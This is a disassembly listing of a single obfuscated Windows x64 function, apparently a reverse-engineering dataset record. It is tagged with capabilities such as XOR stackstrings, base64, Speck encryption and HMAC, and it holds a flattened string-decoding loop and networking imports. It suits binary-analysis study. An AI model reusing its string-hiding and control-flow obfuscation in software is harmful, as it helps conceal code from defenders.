Function at 0x140187bd0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Encrypt data using speck
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rbx
push rdi
push r13
lea rbp, [rax - 0xc78]
sub rsp, 0xd58
mov qword [rax - 0x28], rsi
lea rdx, [0x140492100]
mov qword [rax - 0x30], r12
lea rcx, [rbp + 0x4b0]
mov qword [rax - 0x38], r14
mov qword [rax - 0x40], r15
call fcn.14013a710
lea rcx, [rbp + 0x4d0]
call fcn.140135f90
lea rcx, [rbp + 0x4d0]
call fcn.140135980
lea rcx, [rbp + 0x4f0]
call fcn.140135f90
lea rcx, [rbp + 0x4f0]
call fcn.140135980
xor esi, esi
nop
mov edx, esi
lea rcx, [rbp + 0x510]
call fcn.140187890
mov rdx, rax
lea rcx, [rbp + 0x4f0]
call fcn.140135450
lea rcx, [rbp + 0x510]
call fcn.1401358f0
cmp qword [rbp + 0x500], 0
je 0x140187e14
mov edx, 1
lea rcx, [rbp + 0xa20]
call fcn.140135040
lea rdx, [0x14013fde0]
lea rcx, [rbp + 0xa30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
xor ebx, ebx
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], gethostbyaddr
cmp qword [rbp + 0x500], rbx
jbe 0x140187d14
mov edx, 2
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rcx, qword [rbp + 0xa30]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0xa30]
add rcx, rdx
mov rdx, qword [rax + 8]
call qword [rax]
cmp qword [rbp + 0x508], 0xf
lea rax, [rbp + 0x4f0]
lea rcx, [rbp + 0xa30]
cmova rax, qword [rbp + 0x4f0]
movzx edx, byte [rax + rbx]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
inc rbx
cmp qword [rbp + 0x500], rbx
ja 0x140187cb3
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0xa38]
call fcn.140135850
lea rcx, [rbp + 0xab8]
call fcn.140134fc0
lea rcx, [rbp + 0xab8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x4f0]
call fcn.140135450
lea rcx, [rbp + 0x530]
call fcn.1401358f0
cmp qword [rbp + 0x4e0], 0
lea rcx, [rbp + 0x4f0]
jbe 0x140187dbf
call fcn.140135430
lea rcx, [rbp + 0x4d0]
mov rdi, rax
call fcn.140135430
lea rdx, str._s_s
mov rbx, rax
lea rcx, [rbp + 0x550]
call fcn.14013a710
mov r9, rdi
lea rcx, [rbp + 0x570]
mov r8, rbx
lea r14, [rbp + 0x570]
mov rdx, rax
lea r15, [rbp + 0x4d0]
call fcn.140154360
jmp 0x140187dfa
call fcn.140135430
lea rdx, [0x140495234]
mov rbx, rax
lea rcx, [rbp + 0x590]
call fcn.14013a710
mov r8, rbx
lea rcx, [rbp + 0x5b0]
mov rdx, rax
lea r14, [rbp + 0x5b0]
lea r15, [rbp + 0x4d0]
call fcn.140154360
mov rdx, rax
mov rcx, r15
inc esi
call fcn.140135450
mov rcx, r14
call fcn.1401358f0
jmp 0x140187c40
lea rcx, [rbp + 0x4f0]
call fcn.140187b00
mov edx, 1
lea rcx, [rbp + 0xb20]
call fcn.140135040
lea rdx, [0x14013fde0]
lea rcx, [rbp + 0xb30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
xor ebx, ebx
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], gethostbyaddr
cmp qword [rbp + 0x500], rbx
jbe 0x140187ec1
nop dword [rax]
mov edx, 2
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rcx, qword [rbp + 0xb30]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0xb30]
add rcx, rdx
mov rdx, qword [rax + 8]
call qword [rax]
cmp qword [rbp + 0x508], 0xf
lea rax, [rbp + 0x4f0]
lea rcx, [rbp + 0xb30]
cmova rax, qword [rbp + 0x4f0]
movzx edx, byte [rax + rbx]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
inc rbx
cmp qword [rbp + 0x500], rbx
ja 0x140187e60
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0xb38]
call fcn.140135850
lea rcx, [rbp + 0xbb8]
call fcn.140134fc0
lea rcx, [rbp + 0xbb8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x4f0]
call fcn.140135450
lea rcx, [rbp + 0x5d0]
call fcn.1401358f0
lea rcx, [rbp + 0x4f0]
call fcn.140135430
lea rcx, [rbp + 0x4d0]
mov rdi, rax
call fcn.140135430
lea rdx, str._s_s
mov rbx, rax
lea rcx, [rbp + 0x5f0]
call fcn.14013a710
mov r9, rdi
lea rcx, [rbp + 0x610]
mov r8, rbx
mov rdx, rax
call fcn.140154360
mov rcx, rax
call fcn.140135430
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140187f64
mov rdx, rax
lea rcx, [rbp + 0x4b0]
call fcn.140135a30
lea rcx, [rbp + 0x610]
call fcn.1401358f0
xor r9d, r9d
lea rcx, [rbp + 0x9c0]
xor edx, edx
mov r8d, 0x400
call fcn.1401beb40
lea rcx, [rbp + 0x9c0]
call fcn.1401bef00
mov r15, qword [rbp + 0x9d0]
lea rdx, [rbp + 0x4b0]
mov r8b, 0x7c
mov qword [rsp + 0x38], r15
lea rcx, [rbp + 0x428]
call fcn.140140030
xorps xmm0, xmm0
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.1401bede0
mov rdx, qword [rbp + 0x430]
xor ebx, ebx
mov rcx, qword [rbp + 0x428]
mov rax, rdx
sub rax, rcx
mov r12d, ebx
sar rax, 5
test rax, rax
je 0x14018817e
mov r14d, ebx
mov r15d, ebx
cmp qword [rcx + r15 + 0x10], 2
jbe 0x14018815a
shl r14, 5
lea rdx, [rsp + 0x40]
lea rsi, [rcx + r14]
mov rcx, rsi
call fcn.14013a6d0
mov rcx, qword [rbp + 0x428]
lea rdx, [rsp + 0x48]
add rcx, r14
mov rdi, qword [rax]
call fcn.14013a6d0
mov rcx, qword [rbp + 0x428]
lea rdx, [rsp + 0x50]
add rcx, r14
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187bb0]
mov r8, rbx
lea rcx, [rsp + 0x58]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rsp + 0x60]
mov rcx, rsi
mov r8, qword [rax]
call fcn.1401bf0c0
mov rsi, qword [rbp + 0x428]
lea rdx, [rsp + 0x68]
add rsi, r14
mov rcx, rsi
call fcn.14013a6d0
mov rcx, qword [rbp + 0x428]
lea rdx, [rsp + 0x70]
add rcx, r14
mov rdi, qword [rax]
call fcn.14013a6d0
mov rcx, qword [rbp + 0x428]
lea rdx, [rsp + 0x78]
add rcx, r14
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187b90]
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp - 0x78]
mov rcx, rsi
mov r8, qword [rax]
call fcn.1401bf0c0
mov rax, qword [rbp + 0x428]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov ebx, dword [rax + r15 + 0x10]
lea rcx, [rax + r14]
call fcn.140135430
mov r9, qword [rsp + 0x38]
lea rcx, [rbp + 0x1f0]
mov r8d, ebx
mov rdx, rax
call fcn.1401bec20
mov r8, qword [rsp + 0x38]
lea rcx, [rbp + 0x1e0]
mov rdx, rax
call fcn.1401bed30
lea rcx, [rbp + 0x1f0]
call fcn.14015a7f0
mov rdx, qword [rbp + 0x430]
mov rcx, qword [rbp + 0x428]
inc r12d
mov rax, rdx
sub rax, rcx
movsxd r14, r12d
sar rax, 5
add r15, 0x20
cmp r14, rax
jb 0x140188010
mov r15, qword [rsp + 0x38]
xor ebx, ebx
mov eax, dword [str.VZGE7]
lea rdx, [rsp + 0x20]
movsd xmm0, qword [str.QCAjXBU__I_]
lea rcx, [rbp + 0x200]
mov dword [rsp + 0x20], eax
mov r8, r15
movzx eax, word [0x140493de4]
xor byte [rsp + 0x21], 0x33
xor byte [rsp + 0x22], 0x34
xor byte [rsp + 0x23], 0x35
mov word [rsp + 0x24], ax
movzx eax, word [0x1404940c8]
xor byte [rsp + 0x24], 0x36
xor byte [rsp + 0x25], 0x37
mov word [rbp + 0x178], ax
movzx eax, byte [0x1404940ca]
mov byte [rbp + 0x17a], al
mov eax, dword [str.RYP6]
mov dword [rbp + 0xc88], eax
movzx eax, byte [0x140493d54]
mov byte [rbp + 0xc8c], al
mov eax, dword [0x140494088]
mov dword [rbp + 0x1a8], eax
movzx eax, byte [0x14049408c]
mov byte [rbp + 0x1ac], al
mov eax, dword [str.QCAF6]
mov dword [rbp + 0xc90], eax
movzx eax, byte [0x140493aac]
movsd qword [rbp + 0x170], xmm0
movsd xmm0, qword [str._RZ_PV_MOIYO_]
mov byte [rbp + 0xc94], al
movsd qword [rbp + 0x1a0], xmm0
mov byte [rsp + 0x20], 0x64
call fcn.1401bef50
mov r9, r15
lea r8, [rbp + 0x1e0]
mov rdx, rax
lea rcx, [rbp + 0x9c0]
call fcn.1401bf560
lea rcx, [rbp + 0x200]
call fcn.14015a7f0
movzx edx, byte [rbp + 0xc88]
xor eax, eax
mov qword [rbp + 0x82e], rax
movabs rsi, 0xd174b59a56491251
mov dword [rbp + 0x836], eax
movabs rdi, 0x2e92e5a913fe80a5
mov dword [rbp + 0x810], 0xc8f0cefb
movabs r12, 0xba30f7385bff8037
mov dword [rbp + 0x814], 0x3900fdcf
movabs r14, 0x745e20cf02db36f3
mov dword [rbp + 0x818], 0xfaf2c70e
mov dword [rbp + 0x81c], 0xc0d109f9
mov dword [rbp + 0x820], 0xf20a08c4
mov dword [rbp + 0x824], 0xf2c1cfe2
mov dword [rbp + 0x828], 0xcac1c0f5
mov word [rbp + 0x82c], 0x59c4
nop
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
mov r11, rbx
cmp r11, 0x2a
jae 0x140188e5b
movzx r10d, byte [rbp + r11 + 0x810]
mov ebx, r10d
nop dword [rax]
cmp r8, r11
ja 0x140188e52
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140188357
lea rdx, [r11 + rsi]
movzx eax, bl
and al, dl
add al, al
sub dl, al
sub dl, 0x37
add dl, r10b
jmp 0x1401883a0
je 0x140188de5
lea rax, [r9 + 3]
cmp r8, rax
je 0x140188d6d
lea rax, [r9 + 4]
cmp r8, rax
je 0x140188d41
lea rax, [r9 + 5]
cmp r8, rax
je 0x140188cf5
lea rax, [r9 + 2]
cmp r8, rax
je 0x140188cd5
lea rax, [r9 + 7]
cmp r8, rax
je 0x140188c94
nop
cmp r9, r11
ja 0x140188e49
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1401883c8
lea rcx, [r11 + rdi]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7d
jmp 0x140188420
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140188c7a
lea rax, [r9 + 2]
cmp r8, rax
je 0x140188c5a
lea rax, [rcx + 1]
cmp r8, rax
je 0x140188c3d
lea rax, [r9 + 4]
cmp r8, rax
je 0x140188c11
lea rax, [r9 + 7]
cmp r8, rax
je 0x140188bf7
lea rax, [r9 + 8]
cmp r8, rax
je 0x140188bcb
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14018892b
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018890b
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1401888e8
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1401888c8
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1401888a8
lea rax, [r9 + 8]
cmp r8, rax
je 0x14018887c
lea rax, [r9 + 6]
cmp r8, rax
je 0x140188850
lea rax, [r9 + 5]
cmp r8, rax
je 0x140188836
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140188819
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140188430
lea r8, [r9 + 0x61]
lea r9, [r8 + 9]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140188e2b
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140188e0d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401885dc
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1401885c2
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1401885a8
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1401887cf
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140188777
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140188737
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140188712
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1401886e3
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1401886c9
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1401886ac
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140188680
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140188654
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140188633
lea rcx, [r9 + 0x28]
cmp r8, rcx
ja 0x140188613
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1401885f5
mov r8, rcx
lea r9, [rcx + 0x64]
jmp 0x140188430
lea ecx, [r11 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x23
jmp 0x140188420
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6f
jmp 0x1401883a0
lea ecx, [r11 - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
dec dl
jmp 0x140188330
lea ecx, [r11 + 0x28]
movzx ebx, r11b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
jmp 0x140188cac
lea ecx, [r11 - 0x1c]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3c
inc r11
jmp 0x140188313
lea edx, [r11 + 0x42]
mov ecx, 0x19
movzx eax, dl
movzx ebx, r11b
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140188d0d
lea ecx, [r11 - 0x60]
add r8, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
mov rcx, r13
sub dl, 0x60
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188313
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
mov rcx, r13
add dl, r10b
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188313
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140188d7e
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
jmp 0x140188da6
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x810]
add cl, cl
add rax, r9
add dl, cl
add r11, rax
add dl, r10b
inc r11
jmp 0x140188313
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6b
mov byte [rbp + r11 + 0x810], dl
inc r11
jmp 0x140188313
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x27
cmp r9, 0x200
jb 0x140188727
movzx ebx, r11b
mov edx, reloc.WS2_32.dll_inet_addr
lea ecx, [rbx + 0x46]
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, dl
jmp 0x140188cac
lea ecx, [r11 + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x47
cmp r8, 1
jae 0x140188b8a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140188ae2
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x810]
add rax, r9
add r11, rax
lea edx, [r10 + rcx]
sub dl, 0xc
inc r11
jmp 0x140188313
lea ecx, [r11 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4b
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x140188bb1
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140188a69
lea ecx, [r11 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1b
jmp 0x14018878c
lea edx, [r11 + 0x3c]
mov ecx, 0x2e
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140188da6
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x36
jmp 0x140188d7e
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
mov rcx, r13
add dl, r10b
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188313
lea ecx, [r11 + 0x56]
add r8, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
mov rcx, r13
sub dl, 0x5a
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188313
movzx ebx, r11b
mov ecx, 0xa
lea edx, [rbx - 0x4c]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140188d0d
lea ecx, [r11 + 0x12]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7e
inc r11
jmp 0x140188313
lea ecx, [r11 + 0x70]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x10
inc r11
jmp 0x140188313
movzx ebx, r11b
mov ecx, gethostbyaddr
lea edx, [rbx - 0x32]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140188cac
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14018894e
lea ecx, [r11 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x37
jmp 0x1401887e4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140188983
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x810]
add rax, r9
add r11, rax
lea edx, [r10 + rcx]
sub dl, 6
inc r11
jmp 0x140188313
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401889a9
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140188d7e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401889db
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
mov rcx, r13
sub dl, 0x50
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188313
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140188a13
lea edx, [r11 - 0x2e]
mov ecx, 0x21
movzx eax, dl
add r8, r9
and al, r10b
sub cl, al
add cl, cl
add dl, cl
mov rcx, r13
add dl, r10b
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188313
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140188a39
movzx ebx, r11b
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2c
jmp 0x140188d0d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401887e4
lea edx, [r11 + 0x16]
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx eax, dl
dec r11
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r11
jmp 0x140188313
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140188a8f
movzx ebx, r11b
lea ecx, [rbx - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x77
jmp 0x140188cac
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140188ab8
lea ecx, [r11 + 0x33]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x65
inc r11
jmp 0x140188313
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018878c
movzx ebx, r11b
lea ecx, [rbx - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x2d
jmp 0x140188d0d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140188b08
lea edx, [r11 - 0x28]
mov ecx, reloc.WS2_32.dll_inet_ntoa
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140188d7e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140188b34
lea edx, [r11 + 0x60]
mov ecx, gethostbyaddr
movzx eax, dl
dec r11
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r11
jmp 0x140188313
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140188b60
lea ecx, [r11 + 2]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xe
inc r11
jmp 0x140188313
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018874c
movzx ebx, r11b
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7c
jmp 0x140188cac
movzx ecx, byte [rbp + r11 + 0x810]
movzx ebx, r11b
lea edx, [rbx - 0x18]
movzx eax, dl
sub dl, 0x58
and al, r10b
add al, al
sub cl, al
add dl, cl
add dl, r10b
jmp 0x140188d0d
lea edx, [r11 - 0x76]
mov ecx, 0x1d
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
jmp 0x140188d7e
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x810]
add rax, r9
add r11, rax
lea edx, [r10 + rcx]
sub dl, 0x61
inc r11
jmp 0x140188313
lea ecx, [r11 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7b
jmp 0x140188d7e
lea ecx, [r11 - 0x31]
add r8, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
mov rcx, r13
add dl, 0x57
movzx eax, dl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188313
movzx ebx, r11b
lea ecx, [rbx + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3b
jmp 0x140188d0d
lea ecx, [r11 - 0x75]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x33
inc r11
jmp 0x140188313
movzx ebx, r11b
lea ecx, [rbx + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0xf
jmp 0x140188cac
movzx ebx, r11b
lea ecx, [rbx + 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x15
sub bl, 0x69
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x21
add bl, r10b
mov byte [rbp + r11 + 0x810], bl
inc r9
dec r11
inc r11
jmp 0x140188313
lea ecx, [r11 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x39
dec r11
inc r11
jmp 0x140188313
movzx ebx, r11b
lea ecx, [rbx + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x35
add bl, 0x39
mov rcx, r13
movzx eax, bl
add r8, r9
and al, r10b
add al, al
sub bl, al
movzx eax, dl
add bl, 0x71
sub rcx, rax
add bl, dl
add bl, r10b
mov byte [rbp + r11 + 0x810], bl
add r11, rcx
inc r11
jmp 0x140188313
lea ecx, [r11 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5d
add r8, r9
movzx eax, dl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140188313
lea rax, [r11 + r12]
and bl, al
add bl, bl
sub al, bl
lea edx, [r10 + rax]
add dl, 0x7f
lea ecx, [r11 - 0x25]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 3
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x810], al
add rax, r9
sub r11, rax
lea ecx, [r11 + 0x2c]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, r13
sub rax, r8
sub cl, 0x34
add cl, r10b
mov byte [rbp + r11 + 0x810], cl
add r11, rax
movzx eax, byte [rbp + r11 + 0x810]
add rax, r9
add r11, rax
inc r11
jmp 0x140188313
lea rax, [r11 + r14]
and bl, al
add bl, bl
sub al, bl
lea edx, [r10 + rax]
add dl, 0x5b
movzx eax, byte [rbp + r11 + 0x810]
add rax, r9
add r11, rax
inc r11
jmp 0x140188313
add r11b, 0x15
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x6d
xor ebx, ebx
jmp 0x140188310
add r11b, 0x73
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x25
xor ebx, ebx
jmp 0x140188300
lea rdx, [rbp + 0x158567c]
jmp 0x140188e62
lea rdx, [rbp + 0x6168cd]
jmp 0x140188e62
lea rdx, [rbp + 0x810]
lea rcx, [rbp + 0x630]
call fcn.14013a710
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x898]
call fcn.1401520a0
cmp byte [rbp + 0x898], 0
mov esi, dword [0x1404bc010]
je 0x14018abe7
xorps xmm0, xmm0
lea rcx, [rbp + 0x210]
movups xmmword [rbp + 0x210], xmm0
call fcn.1401bede0
mov rdx, qword [rbp + 0x8a8]
lea rcx, [rbp + 0x220]
sub rdx, qword [rbp + 0x8a0]
xorps xmm0, xmm0
sar rdx, 3
movups xmmword [rbp + 0x220], xmm0
call fcn.1401bece0
movzx ecx, byte [rbp + 0x17a]
mov rbx, rax
test cl, cl
je 0x140188f2f
xor byte [rbp + 0x170], 0x32
xor byte [rbp + 0x171], 0x33
xor byte [rbp + 0x172], 0x34
xor byte [rbp + 0x173], 0x35
xor byte [rbp + 0x174], 0x36
xor byte [rbp + 0x175], 0x37
xor byte [rbp + 0x176], 0x38
xor byte [rbp + 0x177], 0x39
xor byte [rbp + 0x178], 0x3a
xor byte [rbp + 0x179], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x17a], cl
mov r8, r15
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x230]
call fcn.1401bef50
mov r9, r15
lea rcx, [rbp + 0x9c0]
mov r8, rbx
mov rdx, rax
call fcn.1401bf560
lea rcx, [rbp + 0x230]
call fcn.14015a7f0
lea rcx, [rbp + 0x220]
call fcn.14015a7f0
mov rax, qword [rbp + 0x8a8]
xor ebx, ebx
sub rax, qword [rbp + 0x8a0]
mov r13d, ebx
sar rax, 3
test rax, rax
je 0x14018ab6a
movzx r14d, byte [rbp + 0xc88]
mov edi, ebx
movzx esi, byte [rbp + 0xc88]
movabs r12, 0x98fb8d23f14e8841
movaps xmmword [rsp + 0xd20], xmm6
jmp 0x140188fc2
